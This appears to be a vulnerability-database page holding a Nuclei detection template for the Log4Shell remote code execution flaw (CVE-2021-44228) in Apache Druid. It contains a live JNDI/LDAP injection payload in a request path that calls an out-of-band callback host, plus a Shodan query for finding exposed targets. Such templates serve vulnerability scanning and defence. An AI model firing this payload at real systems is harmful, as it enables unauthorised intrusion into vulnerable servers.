apache-druid-log4j-rce: Apache Druid - Remote Code Execution (Apache Log4j)

2025-08-01 Apache Druid PoC Public

Description

Apache Druid is vulnerable to RCE due to Log4j.

PoC

id: apache-druid-log4j-rce

info:
  name: Apache Druid - Remote Code Execution (Apache Log4j)
  author: SleepingBag945
  severity: critical
  description: Apache Druid is vulnerable to RCE due to Log4j.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77,CWE-502
    cpe: cpe:2.3:a:apache:druid:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Apache Druid"
    product: druid
    vendor: apache
  tags: cve,cve2021,rce,jndi,log4j,apache,druid,oast,kev,vuln

http:
  - method: DELETE
    path:
      - "{{BaseURL}}/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2f{{interactsh-url}}%2ftea%7d"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 404
# digest: 4a0a00473045022100c6ecaccaa4624b6de64baeafdbe248701f62cfbbd2afa6209dc6db646dbb5ef20220411489f2589e7d626b1a0e07d9bff2327b8861f590bf9410c1f5c4c3fb6fbed6:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities